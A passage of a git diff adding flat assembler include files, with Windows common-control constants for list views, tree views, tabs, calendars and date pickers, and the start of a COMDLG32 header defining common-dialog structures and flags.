+LVS_ICON = 0000h +LVS_REPORT = 0001h +LVS_SMALLICON = 0002h +LVS_LIST = 0003h +LVS_TYPEMASK = 0003h +LVS_SINGLESEL = 0004h +LVS_SHOWSELALWAYS = 0008h +LVS_SORTASCENDING = 0010h +LVS_SORTDESCENDING = 0020h +LVS_SHAREIMAGELISTS = 0040h +LVS_NOLABELWRAP = 0080h +LVS_AUTOARRANGE = 0100h +LVS_EDITLABELS = 0200h +LVS_OWNERDATA = 1000h +LVS_NOSCROLL = 2000h +LVS_ALIGNTOP = 0000h +LVS_ALIGNLEFT = 0800h +LVS_OWNERDRAWFIXED = 0400h +LVS_NOCOLUMNHEADER = 4000h +LVS_NOSORTHEADER = 8000h + +; List view extended styles + +LVS_EX_GRIDLINES = 0001h +LVS_EX_SUBITEMIMAGES = 0002h +LVS_EX_CHECKBOXES = 0004h +LVS_EX_TRACKSELECT = 0008h +LVS_EX_HEADERDRAGDROP = 0010h +LVS_EX_FULLROWSELECT = 0020h +LVS_EX_ONECLICKACTIVATE = 0040h +LVS_EX_TWOCLICKACTIVATE = 0080h +LVS_EX_FLATSB = 0100h +LVS_EX_REGIONAL = 0200h +LVS_EX_INFOTIP = 0400h +LVS_EX_UNDERLINEHOT = 0800h +LVS_EX_UNDERLINECOLD = 1000h +LVS_EX_MULTIWORKAREAS = 2000h +LVS_EX_LABELTIP = 4000h + +; List view messages + +LVM_GETBKCOLOR = LVM_FIRST + 0 +LVM_SETBKCOLOR = LVM_FIRST + 1 +LVM_GETIMAGELIST = LVM_FIRST + 2 +LVM_SETIMAGELIST = LVM_FIRST + 3 +LVM_GETITEMCOUNT = LVM_FIRST + 4 +LVM_GETITEMA = LVM_FIRST + 5 +LVM_SETITEMA = LVM_FIRST + 6 +LVM_INSERTITEMA = LVM_FIRST + 7 +LVM_DELETEITEM = LVM_FIRST + 8 +LVM_DELETEALLITEMS = LVM_FIRST + 9 +LVM_GETCALLBACKMASK = LVM_FIRST + 10 +LVM_SETCALLBACKMASK = LVM_FIRST + 11 +LVM_GETNEXTITEM = LVM_FIRST + 12 +LVM_FINDITEMA = LVM_FIRST + 13 +LVM_GETITEMRECT = LVM_FIRST + 14 +LVM_SETITEMPOSITION = LVM_FIRST + 15 +LVM_GETITEMPOSITION = LVM_FIRST + 16 +LVM_GETSTRINGWIDTHA = LVM_FIRST + 17 +LVM_HITTEST = LVM_FIRST + 18 +LVM_ENSUREVISIBLE = LVM_FIRST + 19 +LVM_SCROLL = LVM_FIRST + 20 +LVM_REDRAWITEMS = LVM_FIRST + 21 +LVM_ARRANGE = LVM_FIRST + 22 +LVM_EDITLABELA = LVM_FIRST + 23 +LVM_GETEDITCONTROL = LVM_FIRST + 24 +LVM_GETCOLUMNA = LVM_FIRST + 25 +LVM_SETCOLUMNA = LVM_FIRST + 26 +LVM_INSERTCOLUMNA = LVM_FIRST + 27 +LVM_DELETECOLUMN = LVM_FIRST + 28 +LVM_GETCOLUMNWIDTH = LVM_FIRST + 29 +LVM_SETCOLUMNWIDTH = LVM_FIRST + 30 +LVM_CREATEDRAGIMAGE = LVM_FIRST + 33 +LVM_GETVIEWRECT = LVM_FIRST + 34 +LVM_GETTEXTCOLOR = LVM_FIRST + 35 +LVM_SETTEXTCOLOR = LVM_FIRST + 36 +LVM_GETTEXTBKCOLOR = LVM_FIRST + 37 +LVM_SETTEXTBKCOLOR = LVM_FIRST + 38 +LVM_GETTOPINDEX = LVM_FIRST + 39 +LVM_GETCOUNTPERPAGE = LVM_FIRST + 40 +LVM_GETORIGIN = LVM_FIRST + 41 +LVM_UPDATE = LVM_FIRST + 42 +LVM_SETITEMSTATE = LVM_FIRST + 43 +LVM_GETITEMSTATE = LVM_FIRST + 44 +LVM_GETITEMTEXTA = LVM_FIRST + 45 +LVM_SETITEMTEXTA = LVM_FIRST + 46 +LVM_SETITEMCOUNT = LVM_FIRST + 47 +LVM_SORTITEMS = LVM_FIRST + 48 +LVM_SETITEMPOSITION32 = LVM_FIRST + 49 +LVM_GETSELECTEDCOUNT = LVM_FIRST + 50 +LVM_GETITEMSPACING = LVM_FIRST + 51 +LVM_GETISEARCHSTRINGA = LVM_FIRST + 52 +LVM_SETICONSPACING = LVM_FIRST + 53 +LVM_SETEXTENDEDLISTVIEWSTYLE = LVM_FIRST + 54 +LVM_GETEXTENDEDLISTVIEWSTYLE = LVM_FIRST + 55 +LVM_GETSUBITEMRECT = LVM_FIRST + 56 +LVM_SUBITEMHITTEST = LVM_FIRST + 57 +LVM_SETCOLUMNORDERARRAY = LVM_FIRST + 58 +LVM_GETCOLUMNORDERARRAY = LVM_FIRST + 59 +LVM_SETHOTITEM = LVM_FIRST + 60 +LVM_GETHOTITEM = LVM_FIRST + 61 +LVM_SETHOTCURSOR = LVM_FIRST + 62 +LVM_GETHOTCURSOR = LVM_FIRST + 63 +LVM_APPROXIMATEVIEWRECT = LVM_FIRST + 64 +LVM_SETWORKAREA = LVM_FIRST + 65 +LVM_GETITEMW = LVM_FIRST + 75 +LVM_SETITEMW = LVM_FIRST + 76 +LVM_INSERTITEMW = LVM_FIRST + 77 +LVM_FINDITEMW = LVM_FIRST + 83 +LVM_GETSTRINGWIDTHW = LVM_FIRST + 87 +LVM_GETCOLUMNW = LVM_FIRST + 95 +LVM_SETCOLUMNW = LVM_FIRST + 96 +LVM_INSERTCOLUMNW = LVM_FIRST + 97 +LVM_GETITEMTEXTW = LVM_FIRST + 115 +LVM_SETITEMTEXTW = LVM_FIRST + 116 +LVM_GETISEARCHSTRINGW = LVM_FIRST + 117 +LVM_EDITLABELW = LVM_FIRST + 118 +LVM_GETITEM = LVM_GETITEMA +LVM_SETITEM = LVM_SETITEMA +LVM_INSERTITEM = LVM_INSERTITEMA +LVM_FINDITEM = LVM_FINDITEMA +LVM_GETSTRINGWIDTH = LVM_GETSTRINGWIDTHA +LVM_GETCOLUMN = LVM_GETCOLUMNA +LVM_SETCOLUMN = LVM_SETCOLUMNA +LVM_INSERTCOLUMN = LVM_INSERTCOLUMNA +LVM_GETITEMTEXT = LVM_GETITEMTEXTA +LVM_SETITEMTEXT = LVM_SETITEMTEXTA +LVM_GETISEARCHSTRING = LVM_GETISEARCHSTRINGA +LVM_EDITLABEL = LVM_EDITLABELA + +; List view image list types + +LVSIL_NORMAL = 0 +LVSIL_SMALL = 1 +LVSIL_STATE = 2 + +; LVM_SETITEMCOUNT flags + +LVSICF_NOINVALIDATEALL = 1 +LVSICF_NOSCROLL = 2 + +; List view item structure flags + +LVIF_TEXT = 0001h +LVIF_IMAGE = 0002h +LVIF_PARAM = 0004h +LVIF_STATE = 0008h +LVIF_INDENT = 0010h +LVIF_NORECOMPUTE = 0800h +LVIF_DI_SETITEM = 1000h + +; List view item states + +LVIS_FOCUSED = 00001h +LVIS_SELECTED = 00002h +LVIS_CUT = 00004h +LVIS_DROPHILITED = 00008h +LVIS_ACTIVATING = 0020h +LVIS_OVERLAYMASK = 00F00h +LVIS_STATEIMAGEMASK = 0F000h + +; List view callback item values + +LPSTR_TEXTCALLBACK = -1 +I_IMAGECALLBACK = -1 +I_CHILDRENCALLBACK = -1 + +; List view next item relations + +LVNI_ALL = 000h +LVNI_FOCUSED = 001h +LVNI_SELECTED = 002h +LVNI_CUT = 004h +LVNI_DROPHILITED = 008h +LVNI_ABOVE = 100h +LVNI_BELOW = 200h +LVNI_TOLEFT = 400h +LVNI_TORIGHT = 800h + +; List view search types + +LVFI_PARAM = 01h +LVFI_STRING = 02h +LVFI_PARTIAL = 08h +LVFI_WRAP = 20h +LVFI_NEARESTXY = 40h + +; List view item rectangle types + +LVIR_BOUNDS = 0 +LVIR_ICON = 1 +LVIR_LABEL = 2 +LVIR_SELECTBOUNDS = 3 + +; List view hit test flags + +LVHT_NOWHERE = 01h +LVHT_ONITEMICON = 02h +LVHT_ONITEMLABEL = 04h +LVHT_ONITEMSTATEICON= 08h +LVHT_ONITEM = LVHT_ONITEMICON or LVHT_ONITEMLABEL or LVHT_ONITEMSTATEICON +LVHT_ABOVE = 08h +LVHT_BELOW = 10h +LVHT_TORIGHT = 20h +LVHT_TOLEFT = 40h + +; List view alignment values + +LVA_DEFAULT = 000h +LVA_ALIGNLEFT = 001h +LVA_ALIGNTOP = 002h +LVA_ALIGNRIGHT = 003h +LVA_ALIGNBOTTOM = 004h +LVA_SNAPTOGRID = 005h +LVA_SORTASCENDING = 100h +LVA_SORTDESCENDING = 200h + +; List view column structure flags + +LVCF_FMT = 1 +LVCF_WIDTH = 2 +LVCF_TEXT = 4 +LVCF_SUBITEM = 8 + +; List view column alignment values + +LVCFMT_LEFT = 0 +LVCFMT_RIGHT = 1 +LVCFMT_CENTER = 2 +LVCFMT_JUSTIFYMASK = 3 + +; List view column width values + +LVSCW_AUTOSIZE = -1 +LVSCW_AUTOSIZE_USEHEADER = -2 + +; List view notifications + +LVN_ITEMCHANGING = LVN_FIRST - 0 +LVN_ITEMCHANGED = LVN_FIRST - 1 +LVN_INSERTITEM = LVN_FIRST - 2 +LVN_DELETEITEM = LVN_FIRST - 3 +LVN_DELETEALLITEMS = LVN_FIRST - 4 +LVN_BEGINLABELEDITA = LVN_FIRST - 5 +LVN_ENDLABELEDITA = LVN_FIRST - 6 +LVN_COLUMNCLICK = LVN_FIRST - 8 +LVN_BEGINDRAG = LVN_FIRST - 9 +LVN_BEGINRDRAG = LVN_FIRST - 11 +LVN_ODCACHEHINT = LVN_FIRST - 13 +LVN_GETDISPINFOA = LVN_FIRST - 50 +LVN_SETDISPINFOA = LVN_FIRST - 51 +LVN_ODFINDITEMA = LVN_FIRST - 52 +LVN_KEYDOWN = LVN_FIRST - 55 +LVN_BEGINLABELEDITW = LVN_FIRST - 75 +LVN_ENDLABELEDITW = LVN_FIRST - 76 +LVN_GETDISPINFOW = LVN_FIRST - 77 +LVN_SETDISPINFOW = LVN_FIRST - 78 +LVN_ODFINDITEMW = LVN_FIRST - 79 +LVN_BEGINLABELEDIT = LVN_BEGINLABELEDITA +LVN_ENDLABELEDIT = LVN_ENDLABELEDITA +LVN_GETDISPINFO = LVN_GETDISPINFOA +LVN_SETDISPINFO = LVN_SETDISPINFOA +LVN_ODFINDITEM = LVN_ODFINDITEMA + +; Tree view styles + +TVS_HASBUTTONS = 0001h +TVS_HASLINES = 0002h +TVS_LINESATROOT = 0004h +TVS_EDITLABELS = 0008h +TVS_DISABLEDRAGDROP = 0010h +TVS_SHOWSELALWAYS = 0020h +TVS_RTLREADING = 0040h +TVS_NOTOOLTIPS = 0080h +TVS_CHECKBOXES = 0100h +TVS_TRACKSELECT = 0200h +TVS_SINGLEEXPAND = 0400h +TVS_INFOTIP = 0800h +TVS_FULLROWSELECT = 1000h +TVS_NOSCROLL = 2000h +TVS_NONEVENHEIGHT = 4000h + +; Tree view item structure flags + +TVIF_TEXT = 0001h +TVIF_IMAGE = 0002h +TVIF_PARAM = 0004h +TVIF_STATE = 0008h +TVIF_HANDLE = 0010h +TVIF_SELECTEDIMAGE = 0020h +TVIF_CHILDREN = 0040h +TVIF_DI_SETITEM = 1000h + +; Tree view item states + +TVIS_FOCUSED = 00001h +TVIS_SELECTED = 00002h +TVIS_CUT = 00004h +TVIS_DROPHILITED = 00008h +TVIS_BOLD = 00010h +TVIS_EXPANDED = 00020h +TVIS_EXPANDEDONCE = 00040h +TVIS_EXPANDPARTIAL = 00080h +TVIS_OVERLAYMASK = 00F00h +TVIS_STATEIMAGEMASK = 0F000h +TVIS_USERMASK = 0F000h + +; Tree view predefined item values + +TVI_ROOT = 0FFFF0000h +TVI_FIRST = 0FFFF0001h +TVI_LAST = 0FFFF0002h +TVI_SORT = 0FFFF0003h + +; Tree view messages + +TVM_INSERTITEMA = TV_FIRST + 0 +TVM_DELETEITEM = TV_FIRST + 1 +TVM_EXPAND = TV_FIRST + 2 +TVM_GETITEMRECT = TV_FIRST + 4 +TVM_GETCOUNT = TV_FIRST + 5 +TVM_GETINDENT = TV_FIRST + 6 +TVM_SETINDENT = TV_FIRST + 7 +TVM_GETIMAGELIST = TV_FIRST + 8 +TVM_SETIMAGELIST = TV_FIRST + 9 +TVM_GETNEXTITEM = TV_FIRST + 10 +TVM_SELECTITEM = TV_FIRST + 11 +TVM_GETITEMA = TV_FIRST + 12 +TVM_SETITEMA = TV_FIRST + 13 +TVM_EDITLABELA = TV_FIRST + 14 +TVM_GETEDITCONTROL = TV_FIRST + 15 +TVM_GETVISIBLECOUNT = TV_FIRST + 16 +TVM_HITTEST = TV_FIRST + 17 +TVM_CREATEDRAGIMAGE = TV_FIRST + 18 +TVM_SORTCHILDREN = TV_FIRST + 19 +TVM_ENSUREVISIBLE = TV_FIRST + 20 +TVM_SORTCHILDRENCB = TV_FIRST + 21 +TVM_ENDEDITLABELNOW = TV_FIRST + 22 +TVM_GETISEARCHSTRINGA = TV_FIRST + 23 +TVM_INSERTITEMW = TV_FIRST + 50 +TVM_GETITEMW = TV_FIRST + 62 +TVM_SETITEMW = TV_FIRST + 63 +TVM_GETISEARCHSTRINGW = TV_FIRST + 64 +TVM_EDITLABELW = TV_FIRST + 65 +TVM_INSERTITEM = TVM_INSERTITEMA +TVM_GETITEM = TVM_GETITEMA +TVM_SETITEM = TVM_SETITEMA +TVM_GETISEARCHSTRING = TVM_GETISEARCHSTRINGA +TVM_EDITLABEL = TVM_EDITLABELA + +; Tree view action flags + +TVE_COLLAPSE = 0001h +TVE_EXPAND = 0002h +TVE_TOGGLE = 0003h +TVE_EXPANDPARTIAL = 4000h +TVE_COLLAPSERESET = 8000h + +; Tree view image list types + +TVSIL_NORMAL = 0 +TVSIL_STATE = 2 + +; Tree view next item types + +TVGN_ROOT = 0 +TVGN_NEXT = 1 +TVGN_PREVIOUS = 2 +TVGN_PARENT = 3 +TVGN_CHILD = 4 +TVGN_FIRSTVISIBLE = 5 +TVGN_NEXTVISIBLE = 6 +TVGN_PREVIOUSVISIBLE = 7 +TVGN_DROPHILITE = 8 +TVGN_CARET = 9 + +; Tree view hit test flags + +TVHT_NOWHERE = 001h +TVHT_ONITEMICON = 002h +TVHT_ONITEMLABEL = 004h +TVHT_ONITEMINDENT = 008h +TVHT_ONITEMBUTTON = 010h +TVHT_ONITEMRIGHT = 020h +TVHT_ONITEMSTATEICON = 040h +TVHT_ONITEM = TVHT_ONITEMICON or TVHT_ONITEMLABEL or TVHT_ONITEMSTATEICON +TVHT_ABOVE = 100h +TVHT_BELOW = 200h +TVHT_TORIGHT = 400h +TVHT_TOLEFT = 800h + +; Tree view notifications + +TVN_SELCHANGINGA = TVN_FIRST - 1 +TVN_SELCHANGEDA = TVN_FIRST - 2 +TVN_GETDISPINFOA = TVN_FIRST - 3 +TVN_SETDISPINFOA = TVN_FIRST - 4 +TVN_ITEMEXPANDINGA = TVN_FIRST - 5 +TVN_ITEMEXPANDEDA = TVN_FIRST - 6 +TVN_BEGINDRAGA = TVN_FIRST - 7 +TVN_BEGINRDRAGA = TVN_FIRST - 8 +TVN_DELETEITEMA = TVN_FIRST - 9 +TVN_BEGINLABELEDITA = TVN_FIRST - 10 +TVN_ENDLABELEDITA = TVN_FIRST - 11 +TVN_KEYDOWN = TVN_FIRST - 12 +TVN_SELCHANGINGW = TVN_FIRST - 50 +TVN_SELCHANGEDW = TVN_FIRST - 51 +TVN_GETDISPINFOW = TVN_FIRST - 52 +TVN_SETDISPINFOW = TVN_FIRST - 53 +TVN_ITEMEXPANDINGW = TVN_FIRST - 54 +TVN_ITEMEXPANDEDW = TVN_FIRST - 55 +TVN_BEGINDRAGW = TVN_FIRST - 56 +TVN_BEGINRDRAGW = TVN_FIRST - 57 +TVN_DELETEITEMW = TVN_FIRST - 58 +TVN_BEGINLABELEDITW = TVN_FIRST - 59 +TVN_ENDLABELEDITW = TVN_FIRST - 60 +TVN_SELCHANGING = TVN_SELCHANGINGA +TVN_SELCHANGED = TVN_SELCHANGEDA +TVN_GETDISPINFO = TVN_GETDISPINFOA +TVN_SETDISPINFO = TVN_SETDISPINFOA +TVN_ITEMEXPANDING = TVN_ITEMEXPANDINGA +TVN_ITEMEXPANDED = TVN_ITEMEXPANDEDA +TVN_BEGINDRAG = TVN_BEGINDRAGA +TVN_BEGINRDRAG = TVN_BEGINRDRAGA +TVN_DELETEITEM = TVN_DELETEITEMA +TVN_BEGINLABELEDIT = TVN_BEGINLABELEDITA +TVN_ENDLABELEDIT = TVN_ENDLABELEDITA + +; Tree view action flags + +TVC_UNKNOWN = 0 +TVC_BYMOUSE = 1 +TVC_BYKEYBOARD = 2 + +; Tab control styles + +TCS_SCROLLOPPOSITE = 0001h +TCS_BOTTOM = 0002h +TCS_RIGHT = 0002h +TCS_FORCEICONLEFT = 0010h +TCS_FORCELABELLEFT = 0020h +TCS_HOTTRACK = 0040h +TCS_VERTICAL = 0080h +TCS_TABS = 0000h +TCS_BUTTONS = 0100h +TCS_SINGLELINE = 0000h +TCS_MULTILINE = 0200h +TCS_RIGHTJUSTIFY = 0000h +TCS_FIXEDWIDTH = 0400h +TCS_RAGGEDRIGHT = 0800h +TCS_FOCUSONBUTTONDOWN = 1000h +TCS_OWNERDRAWFIXED = 2000h +TCS_TOOLTIPS = 4000h +TCS_FOCUSNEVER = 8000h + +; Tab control messages + +TCM_GETIMAGELIST = TCM_FIRST + 2 +TCM_SETIMAGELIST = TCM_FIRST + 3 +TCM_GETITEMCOUNT = TCM_FIRST + 4 +TCM_GETITEMA = TCM_FIRST + 5 +TCM_SETITEMA = TCM_FIRST + 6 +TCM_INSERTITEMA = TCM_FIRST + 7 +TCM_DELETEITEM = TCM_FIRST + 8 +TCM_DELETEALLITEMS = TCM_FIRST + 9 +TCM_GETITEMRECT = TCM_FIRST + 10 +TCM_GETCURSEL = TCM_FIRST + 11 +TCM_SETCURSEL = TCM_FIRST + 12 +TCM_HITTEST = TCM_FIRST + 13 +TCM_SETITEMEXTRA = TCM_FIRST + 14 +TCM_ADJUSTRECT = TCM_FIRST + 40 +TCM_SETITEMSIZE = TCM_FIRST + 41 +TCM_REMOVEIMAGE = TCM_FIRST + 42 +TCM_SETPADDING = TCM_FIRST + 43 +TCM_GETROWCOUNT = TCM_FIRST + 44 +TCM_GETTOOLTIPS = TCM_FIRST + 45 +TCM_SETTOOLTIPS = TCM_FIRST + 46 +TCM_GETCURFOCUS = TCM_FIRST + 47 +TCM_SETCURFOCUS = TCM_FIRST + 48 +TCM_GETITEMW = TCM_FIRST + 60 +TCM_SETITEMW = TCM_FIRST + 61 +TCM_INSERTITEMW = TCM_FIRST + 62 +TCM_GETITEM = TCM_GETITEMA +TCM_SETITEM = TCM_SETITEMA +TCM_INSERTITEM = TCM_INSERTITEMA + +; Tab control item structure flags + +TCIF_TEXT = 1 +TCIF_IMAGE = 2 +TCIF_RTLREADING = 4 +TCIF_PARAM = 8 + +; Tab control hit test flags + +TCHT_NOWHERE = 1 +TCHT_ONITEMICON = 2 +TCHT_ONITEMLABEL = 4 +TCHT_ONITEM = TCHT_ONITEMICON or TCHT_ONITEMLABEL + +; Tab control notifications + +TCN_KEYDOWN = TCN_FIRST - 0 +TCN_SELCHANGE = TCN_FIRST - 1 +TCN_SELCHANGING = TCN_FIRST - 2 + +; Animation control styles + +ACS_CENTER = 1 +ACS_TRANSPARENT = 2 +ACS_AUTOPLAY = 4 +ACS_TIMER = 8 + +; Animation control messages + +ACM_OPENA = WM_USER + 100 +ACM_PLAY = WM_USER + 101 +ACM_STOP = WM_USER + 102 +ACM_OPENW = WM_USER + 103 +ACM_OPEN = ACM_OPENA + +; Animation control notifications + +ACN_START = 1 +ACN_STOP = 2 + +; Month calendar styles + +MCS_DAYSTATE = 1 +MCS_MULTISELECT = 2 +MCS_WEEKNUMBERS = 4 +MCS_NOTODAY_PRE_IE4 = 8 +MCS_NOTODAYCIRCLE = 8 +MCS_NOTODAY = 16 + +; Month calendar messages + +MCM_GETCURSEL = MCM_FIRST + 1 +MCM_SETCURSEL = MCM_FIRST + 2 +MCM_GETMAXSELCOUNT = MCM_FIRST + 3 +MCM_SETMAXSELCOUNT = MCM_FIRST + 4 +MCM_GETSELRANGE = MCM_FIRST + 5 +MCM_SETSELRANGE = MCM_FIRST + 6 +MCM_GETMONTHRANGE = MCM_FIRST + 7 +MCM_SETDAYSTATE = MCM_FIRST + 8 +MCM_GETMINREQRECT = MCM_FIRST + 9 +MCM_SETCOLOR = MCM_FIRST + 10 +MCM_GETCOLOR = MCM_FIRST + 11 +MCM_SETTODAY = MCM_FIRST + 12 +MCM_GETTODAY = MCM_FIRST + 13 +MCM_HITTEST = MCM_FIRST + 14 +MCM_SETFIRSTDAYOFWEEK = MCM_FIRST + 15 +MCM_GETFIRSTDAYOFWEEK = MCM_FIRST + 16 +MCM_GETRANGE = MCM_FIRST + 17 +MCM_SETRANGE = MCM_FIRST + 18 +MCM_GETMONTHDELTA = MCM_FIRST + 19 +MCM_SETMONTHDELTA = MCM_FIRST + 20 + +; Month calendar hit test flags + +MCHT_TITLE = 0010000h +MCHT_CALENDAR = 0020000h +MCHT_TODAYLINK = 0030000h +MCHT_NEXT = 1000000h +MCHT_PREV = 2000000h +MCHT_NOWHERE = 0000000h +MCHT_TITLEBK = MCHT_TITLE +MCHT_TITLEMONTH = MCHT_TITLE or 1 +MCHT_TITLEYEAR = MCHT_TITLE or 2 +MCHT_TITLEBTNNEXT = MCHT_TITLE or MCHT_NEXT or 3 +MCHT_TITLEBTNPREV = MCHT_TITLE or MCHT_PREV or 3 +MCHT_CALENDARBK = MCHT_CALENDAR +MCHT_CALENDARDATE = MCHT_CALENDAR or 1 +MCHT_CALENDARDATENEXT = MCHT_CALENDARDATE or MCHT_NEXT +MCHT_CALENDARDATEPREV = MCHT_CALENDARDATE or MCHT_PREV +MCHT_CALENDARDAY = MCHT_CALENDAR or 2 +MCHT_CALENDARWEEKNUM = MCHT_CALENDAR or 3 + +; Month calendar color codes + +MCSC_BACKGROUND = 0 +MCSC_TEXT = 1 +MCSC_TITLEBK = 2 +MCSC_TITLETEXT = 3 +MCSC_MONTHBK = 4 +MCSC_TRAILINGTEXT = 5 + +; Month calendar notifications + +MCN_SELCHANGE = MCN_FIRST + 1 +MCN_GETDAYSTATE = MCN_FIRST + 3 +MCN_SELECT = MCN_FIRST + 4 + +; Date-time pick control messages + +DTM_GETSYSTEMTIME = DTM_FIRST + 1 +DTM_SETSYSTEMTIME = DTM_FIRST + 2 +DTM_GETRANGE = DTM_FIRST + 3 +DTM_SETRANGE = DTM_FIRST + 4 +DTM_SETFORMATA = DTM_FIRST + 5 +DTM_SETMCCOLOR = DTM_FIRST + 6 +DTM_GETMCCOLOR = DTM_FIRST + 7 +DTM_GETMONTHCAL = DTM_FIRST + 8 +DTM_SETMCFONT = DTM_FIRST + 9 +DTM_GETMCFONT = DTM_FIRST + 10 +DTM_SETFORMATW = DTM_FIRST + 50 +DTM_SETFORMAT = DTM_SETFORMATA + +; Date-time pick control styles + +DTS_UPDOWN = 01h +DTS_SHOWNONE = 02h +DTS_SHORTDATEFORMAT = 00h +DTS_LONGDATEFORMAT = 04h +DTS_TIMEFORMAT = 09h +DTS_APPCANPARSE = 10h +DTS_RIGHTALIGN = 20h + +; Date-time pick control notifications + +DTN_DATETIMECHANGE = DTN_FIRST + 1 +DTN_USERSTRINGA = DTN_FIRST + 2 +DTN_WMKEYDOWNA = DTN_FIRST + 3 +DTN_FORMATA = DTN_FIRST + 4 +DTN_FORMATQUERYA = DTN_FIRST + 5 +DTN_DROPDOWN = DTN_FIRST + 6 +DTN_CLOSEUP = DTN_FIRST + 7 +DTN_USERSTRINGW = DTN_FIRST + 15 +DTN_WMKEYDOWNW = DTN_FIRST + 16 +DTN_FORMATW = DTN_FIRST + 17 +DTN_FORMATQUERYW = DTN_FIRST + 18 +DTN_USERSTRING = DTN_USERSTRINGA +DTN_WMKEYDOWN = DTN_WMKEYDOWNA +DTN_FORMAT = DTN_FORMATA +DTN_FORMATQUERY = DTN_FORMATQUERYA + +; ImageList_LoadImage types + +IMAGE_BITMAP = 0 +IMAGE_ICON = 1 +IMAGE_CURSOR = 2 +IMAGE_ENHMETAFILE = 3 + +; ImageList_LoadImage flags + +LR_DEFAULTCOLOR = 0000h +LR_MONOCHROME = 0001h +LR_COLOR = 0002h +LR_COPYRETURNORG = 0004h +LR_COPYDELETEORG = 0008h +LR_LOADFROMFILE = 0010h +LR_LOADTRANSPARENT = 0020h +LR_DEFAULTSIZE = 0040h +LR_VGACOLOR = 0080h +LR_LOADMAP3DCOLORS = 1000h +LR_CREATEDIBSECTION = 2000h +LR_COPYFROMRESOURCE = 4000h +LR_SHARED = 8000h + +; IP control messages + +IPM_CLEARADDRESS = WM_USER + 100 +IPM_SETADDRESS = WM_USER + 101 +IPM_GETADDRESS = WM_USER + 102 +IPM_SETRANGE = WM_USER + 103 +IPM_SETFOCUS = WM_USER + 104 +IPM_ISBLANK = WM_USER + 105 + +; Custom Draw flags + +CDRF_DODEFAULT = 0 +CDRF_NEWFONT = 2 +CDRF_SKIPDEFAULT = 4 +CDRF_NOTIFYPOSTPAINT = 10h +CDRF_NOTIFYITEMDRAW = 20h +CDRF_NOTIFYSUBITEMDRAW = 20h +CDRF_NOTIFYPOSTERASE = 40h +CDDS_PREPAINT = 1 +CDDS_POSTPAINT = 2 +CDDS_PREERASE = 3 +CDDS_POSTERASE = 4 +CDDS_ITEM = 10000h +CDDS_ITEMPREPAINT = CDDS_ITEM or CDDS_PREPAINT +CDDS_ITEMPOSTPAINT = CDDS_ITEM or CDDS_POSTPAINT +CDDS_ITEMPREERASE = CDDS_ITEM or CDDS_PREERASE +CDDS_ITEMPOSTERASE = CDDS_ITEM or CDDS_POSTERASE +CDDS_SUBITEM = 20000h +CDIS_SELECTED = 1 +CDIS_GRAYED = 2 +CDIS_DISABLED = 4 +CDIS_CHECKED = 8 +CDIS_FOCUS = 10h +CDIS_DEFAULT = 20h +CDIS_HOT = 40h +CDIS_MARKED = 80h +CDIS_INDETERMINATE = 100h diff --git a/binary/hyperion/source/Fasm/INCLUDE/EQUATES/COMDLG32.INC b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/COMDLG32.INC new file mode 100755 index 0000000..db00fa1 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/COMDLG32.INC @@ -0,0 +1,333 @@ + +; COMDLG32.DLL structures and constants + +struct OPENFILENAME + lStructSize dd ? + hwndOwner dd ? + hInstance dd ? + lpstrFilter dd ? + lpstrCustomFilter dd ? + nMaxCustFilter dd ? + nFilterIndex dd ? + lpstrFile dd ? + nMaxFile dd ? + lpstrFileTitle dd ? + nMaxFileTitle dd ? + lpstrInitialDir dd ? + lpstrTitle dd ? + Flags dd ? + nFileOffset dw ? + nFileExtension dw ? + lpstrDefExt dd ? + lCustData dd ? + lpfnHook dd ? + lpTemplateName dd ? +ends + +struct CHOOSECOLOR + lStructSize dd ? + hwndOwner dd ? + hInstance dd ? + rgbResult dd ? + lpCustColors dd ? + Flags dd ? + lCustData dd ? + lpfnHook dd ? + lpTemplateName dd ? +ends + +struct FINDREPLACE + lStructSize dd ? + hwndOwner dd ? + hInstance dd ? + Flags dd ? + lpstrFindWhat dd ? + lpstrReplaceWith dd ? + wFindWhatLen dw ? + wReplaceWithLen dw ? + lCustData dd ? + lpfnHook dd ? + lpTemplateName dd ? +ends + +struct CHOOSEFONT + lStructSize dd ? + hwndOwner dd ? + hDC dd ? + lpLogFont dd ? + iPointSize dd ? + Flags dd ? + rgbColors dd ? + lCustData dd ? + lpfnHook dd ? + lpTemplateName dd ? + hInstance dd ? + lpszStyle dd ? + nFontType dw ? + wReserved dw ? + nSizeMin dd ? + nSizeMax dd ? +ends + +struct PRINTDLG + lStructSize dd ? + hwndOwner dd ? + hDevMode dd ? + hDevNames dd ? + hDC dd ? + Flags dd ? + nFromPage dw ? + nToPage dw ? + nMinPage dw ? + nMaxPage dw ? + nCopies dw ? + hInstance dd ? + lCustData dd ? + lpfnPrintHook dd ? + lpfnSetupHook dd ? + lpPrintTemplateName dd ? + lpSetupTemplateName dd ? + hPrintTemplate dd ? + hSetupTemplate dd ? +ends + +struct DEVNAMES + wDriverOffset dw ? + wDeviceOffset dw ? + wOutputOffset dw ? + wDefault dw ? +ends + +struct PAGESETUPDLG + lStructSize dd ? + hwndOwner dd ? + hDevMode dd ? + hDevNames dd ? + Flags dd ? + ptPaperSize POINT + rtMinMargin RECT + rtMargin RECT + hInstance dd ? + lCustData dd ? + lpfnPageSetupHook dd ? + lpfnPagePaintHook dd ? + lpPageSetupTemplateName dd ? + hPageSetupTemplate dd ? +ends + +; OPENFILENAME flags + +OFN_READONLY = 000001h +OFN_OVERWRITEPROMPT = 000002h +OFN_HIDEREADONLY = 000004h +OFN_NOCHANGEDIR = 000008h +OFN_SHOWHELP = 000010h +OFN_ENABLEHOOK = 000020h +OFN_ENABLETEMPLATE = 000040h +OFN_ENABLETEMPLATEHANDLE = 000080h +OFN_NOVALIDATE = 000100h +OFN_ALLOWMULTISELECT = 000200h +OFN_EXTENSIONDIFFERENT = 000400h +OFN_PATHMUSTEXIST = 000800h +OFN_FILEMUSTEXIST = 001000h +OFN_CREATEPROMPT = 002000h +OFN_SHAREAWARE = 004000h +OFN_NOREADONLYRETURN = 008000h +OFN_NOTESTFILECREATE = 010000h +OFN_NONETWORKBUTTON = 020000h +OFN_NOLONGNAMES = 040000h +OFN_EXPLORER = 080000h +OFN_NODEREFERENCELINKS = 100000h +OFN_LONGNAMES = 200000h + +; Common dialog notifications + +CDN_FIRST = -601 +CDN_LAST = -699 +CDN_INITDONE = CDN_FIRST - 0 +CDN_SELCHANGE = CDN_FIRST - 1 +CDN_FOLDERCHANGE = CDN_FIRST - 2 +CDN_SHAREVIOLATION = 